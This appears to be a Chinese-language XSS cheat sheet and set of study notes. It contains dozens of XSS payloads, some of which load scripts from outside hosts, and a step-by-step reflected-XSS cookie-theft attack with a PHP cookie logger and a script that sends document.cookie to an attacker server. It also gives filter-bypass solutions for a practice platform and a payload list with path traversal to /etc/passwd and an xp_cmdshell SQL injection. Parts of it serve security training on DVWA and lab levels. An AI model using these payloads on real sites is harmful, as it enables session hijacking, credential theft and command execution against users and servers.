常用测试语句:
<script language='javascript'>alert('test!');</script> <script>alert('test')</script> <svg/onload=alert(1)> "><svg/onload=alert(1)// onfocus=javascript:alert(2) " onmouseover="prompt('xss')" bad="
<script src=http://xxx.com/xss.js></script> #引用外部的 xss
<script> alert("hack")</script> #弹 出 hack
<script>alert(document.cookie)</script> #弹 出 cookie
<img>标签:
<img src=1 on er ror=alert("hack")>
<img src=1 onerror=alert(/hack/)>
<img src =1 onerror=alert(document.cookie)> #弹 出 cooki e
<img src=1 on er ror=alert(123)> 注 :对 于 数 字 ,可 以 不 用 引号
<img src ="javascri pt:alert("XSS");" >
<img dyn src="javas cript:alert('XSS' )" >
<img low src="javas cript:alert('XSS' )" >
<body>标 签 :可 以 使 用 onload 属 性 或 其 他 更 加 模 糊 的 属 性( 如 属 性 )在 标 记内部传递 XSS 有 效 内 容 background
<body onload=aler t( "XSS")>
<body background="javascript:alert("XSS")">
<iframe>标签:该 <iframe>标 签 允 许 另 一 个 HTML 网页的嵌入到父页面。
IFrame 可以包含 Jav aScript, 但 是 , 请 注 意 , 由 于 浏 览 器 的 内 容 安 全 策 略
( CSP),iFrame 中 的 J avaScript 无 法 访 问 父 页 面 的 DOM。然 而 ,IF rame 仍 然
是非常有效的解除网络钓鱼攻击的手段。
<iframe src=” htt p: //evil.com/xss.ht ml” >
<input>标 签 :在 某 些 浏 览 器 中 ,如 果 标 记 的 type 属 性 <input>设 置 为 image,
则可以对其进行操作以嵌入脚本
"javascript:confirm(1);"
<input type="image" src="javascript:alert('XSS');">
<link>标签: <link>标签,这是经常被用来连接外部的样式表可以包含的脚本
<link rel="stylesheet" href="javascript:alert('XSS');">
<table>标 签 : 可 以 利 用 和 标 签 的 backgr oun d 属 性 来 引 用 脚 本 而 不 是 图 像
<table background="javascript:alert( 'X SS')">
<td background="javascript:alert('XSS')">
<div>标签:该 <div>标签,类似于 <table>和 <td>标 签 也 可 以 指 定 一 个 背 景 ,因此嵌入的脚本。
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
<object>标签:该 < ob ject>标 签 可 用 于 从 外 部 站 点 脚 本 包 含
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
弹窗测试XSS js中,alert() 警告弹窗,confirm() 确认弹窗 prompt() 输入弹窗
XSS 反射型攻击思路(前提服务器有XSS漏洞):
- 用户登录服务器中
- 攻击者诱骗用户点击 有攻击代码的url
- 用户点击后访问服务器
- 服务器响应代码,在用户浏览器偷偷中执行攻击脚本,发送关键信息例如cookie给攻击这服务器
- 攻击者利用收到的信息伪造用户访问服务器
例子:
第一步:
攻击者本地服务器代码
Http://127.0.0.1/cookie.php ://攻击者的IP地址
<?php
$cookie = $_GET[‘cookie’]; //接收GET中的cookie参数
$fp=fopen('cookie.txt','w'); //创建cookie.txt文件 w表示写入,如果是a 表示追加
fwrite($fp,$cookie);
fclose($fp);
?>
第二步:攻击Js构造
<script>
Document.location=’http://127.0.0.1/cookie.php?cookie=’+document.cookie;
</script> //把当地的cookie发送到http://127.0.0.1/cookie.php上
第三步:构建攻击url
http://192.168.23.131/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
第四步:对参数进行url编码
第四步:诱导用户点击,回到攻击者cookie.txt文件中,已经记录了用户的信息
最后就是利用用户的cookie进行劫持会话
xss练习平台:http://xss.fbisb.com/
第一关:利用前端过滤,浏览器关闭js语句即可绕过
第二关.闭合法 闭合前面的语句
“><a /href “javascript:confirm(1)”>
"><sCript>confirm(1)</Script>
"><Script src=’https://www.baidu.com’>
confirm(1)
" onclick="alert(1) “ 闭合前面的双引号,鼠标点击事件
" onfocus="confirm(1)
xss练习第三关:
过滤了以下字符:
第四关:过滤掉了<>
"onmouseover="javascript:alert(1) //鼠标移动事件
" onfocus="alert(/xss/) //点击事件
第五关:过滤了<sricpt 和on
1"<a>1<a href=' javascript:alert(1)'/>"
1"<a>1<a href=' javascript:confirm(1)'/>"
confirm(1)
跳出input标签
"><a href="javascript:alert(/xss/)">xss</a>
第六关 过滤了很多js语句,但没考虑大小写
"Onmouseover="javascript:alert(1)
进行大小写绕过
在input标签中触发XSS:
payload:" ONmouseover="alert(/xss/)
跳出input标签触发XSS:
payload:"><sCript>alert(/xss/)</sCript>
第七关:只过一次 利用两次
scriptscript=script
"Oonnmouseover="javascript:alert(1)
第八关
很多都转义了 “ on script 等
用编码绕过,采用html实体编码 t ---> t
javascript:alert(/xss/)
第九关:加个http://
第十关:
这道题有俩个输出的地方,第一个被实体化过滤,第二个是隐藏表单的"t_sort"参数
即'$str33',过滤了尖括号,那么就在input标签中触发xss即可,可以用onmouseover或者
是onclick,需要将隐藏表单显示出来触发
payload为:url后加 &t_sort=xss" onmouseover=alert(/xss/) type="text"
payload为:url后加 &t_sort=xss" onclick=alert(/xss/) type="text
思路:
查看源代码,编辑,看看是不是已经实体化转换了,单双引号
如果是 ,则用用不要<>和引号类的过滤看看
waf绕过:
参考:https://blog.csdn.net/spang_33/article/details/80930046
特殊符号绕过 # 乱打
1.对方开启了httponly属性
如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,有效防止xss攻击
表单劫持:劫持用户浏览器提交的的表单,或者保存在浏览器的表单
payload 大全:
1 '><script>alert(document.cookie)</script> 2 ='><script>alert(document.cookie)</script> 3 <script>alert(document.cookie)</script> 4 <script>alert(vulnerable)</script> 5 %3Cscript%3Ealert('XSS')%3C/script%3E 6 <script>alert('XSS')</script> 7 <img src="javascript:alert('XSS')"> 8 %0a%0a<script>alert(\"Vulnerable\")</script>.jsp 9 %22%3cscript%3ealert(%22xss%22)%3c/script%3e 10 %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 11 %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini 12 %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 13 %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 14 %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html 15 %3f.jsp 16 %3f.jsp 17 <script>alert('Vulnerable');</script> 18 <script>alert('Vulnerable')</script> 19 ?sql_debug=1 20 a%5c.aspx 21 a.jsp/<script>alert('Vulnerable')</script> 22 a/ 23 a?<script>alert('Vulnerable')</script> 24 "><script>alert('Vulnerable')</script> 25 ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& 26 %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E 27 %3Cscript%3Ealert(document. domain);%3C/script%3E& 28 %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 29 <IMG src="javascript:alert('XSS');"> 30 <IMG src=javascript:alert('XSS')> 31 <IMG src=JaVaScRiPt:alert('XSS')> 32 <IMG src=JaVaScRiPt:alert("XSS")> 33 <IMG src=javascript:alert('XSS')> 34 <IMG src=javascript:alert('XSS')> 35 <IMG src=javascript:alert('XSS')> 36 <IMG src="jav ascript:alert('XSS');"> 37 <IMG src="jav ascript:alert('XSS');"> 38 <IMG src="jav ascript:alert('XSS');"> 39 "<IMG src=java\0script:alert(\"XSS\")>";' > out 40 <IMG src=" javascript:alert('XSS');"> 41 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> 42 <BODY BACKGROUND="javascript:alert('XSS')"> 43 <BODY ONLOAD=alert('XSS')> 44 <IMG DYNSRC="javascript:alert('XSS')"> 45 <IMG LOWSRC="javascript:alert('XSS')"> 46 <BGSOUND src="javascript:alert('XSS');"> 47 <br size="&{alert('XSS')}"> 48 <LAYER src="http://xss.ha.ckers.org/a.js"></layer> 49 <LINK REL="stylesheet" href="javascript:alert('XSS');"> 50 <IMG src='vbscript:msgbox("XSS")'> 51 <IMG src="mocha:[code]"> 52 <IMG src="livescript:[code]"> 53 <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> 54 <IFRAME src=javascript:alert('XSS')></IFRAME> 55 <FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET> 56 <TABLE BACKGROUND="javascript:alert('XSS')"> 57 <DIV STYLE="background-image: url(javascript:alert('XSS'))"> 58 <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> 59 <DIV STYLE="width: expression(alert('XSS'));"> 60 <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 61 <IMG STYLE='xss:expre\ssion(alert("XSS"))'> 62 <STYLE TYPE="text/javascript">alert('XSS');</STYLE> 63 <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A> 64 <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> 65 <BASE href="javascript:alert('XSS');//"> 66 getURL("javascript:alert('XSS')") 67 a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); 68 <XML src="javascript:alert('XSS');"> 69 "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" 70 <SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> 71 <IMG src="javascript:alert('XSS')" 72 <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--> 73 <IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> 74 <SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> 75 <SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT> 76 <SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT> 77 <SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT> 78 <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>